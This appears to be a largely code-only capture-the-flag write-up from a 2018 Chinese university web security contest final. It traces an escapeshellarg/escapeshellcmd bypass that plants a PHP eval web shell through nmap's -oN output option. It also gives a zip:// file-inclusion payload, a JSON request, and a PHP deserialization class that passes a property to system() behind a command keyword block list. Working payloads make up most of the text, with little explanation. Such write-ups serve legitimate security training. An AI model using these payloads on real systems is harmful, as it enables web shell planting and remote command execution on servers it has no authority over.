2018 全国大学生软件测试大赛——安恒杯Web测试大赛全国总决赛部分Writeup

<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF

<?php

    $host = "127.0.0.1' -v -d a=1";
    echo $host."</br>";
    $host=escapeshellarg($host);
    echo $host."</br>";
    $host=escapeshellcmd($host);
    echo $host."</br>";
?>

127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'

'127.0.0.1'\'' -v -d a=1'

'127.0.0.1'\\'' -v -d a=1\'

'127.0.0.1'
\\
''
-v -d
a=1\'

<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

' <?php eval($_POST[1]);?> -oN shell.php '

''     \'     ' -oN shell.php '     \'     ''

''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

nmap -T5  -sT -Pn --host-timeout 2 -F ''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

nmap -T5  -sT -Pn --host-timeout 2 -F \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

{"action":"hint"}

?page=zip://uploads/e65eee3bd3f975947e589d1e6ae279ccdf31fb3e.docx%23south

<?php
    function verify($name,$location){
        if(empty($name)){
            die("<script =\"JavaScript\"> alert('请先登录！');self.location='$location';</script>");
        }       
    }

    class info{
        public $name;
        public $ages;
        public $cmd;   
        public $black_str;

    function say_name(){
        echo $this->name;
    }

    function say_ages(){
        echo $this->ages;
    }

    function safe($str){
        $this->black_str = 'ls| |{I|;|%0a|cat|flag|find|&|<';
        $check = eregi($this->black_str,$str);
        return $check;
    }

    function __destruct(){
        $check = $this->safe($this->cmd);
        if($check){
            die("<script language=\"JavaScript\"> alert('您的内容含有字符非法！'); self.location='./index.php'; </script> ");
        }
        @system($this->cmd);
    }
}
?>

O:4:"info":4:{s:4:"name";s:5:"admin";s:4:"ages";s:2:"12";s:3:"cmd";N;s:9:"black_str";N;}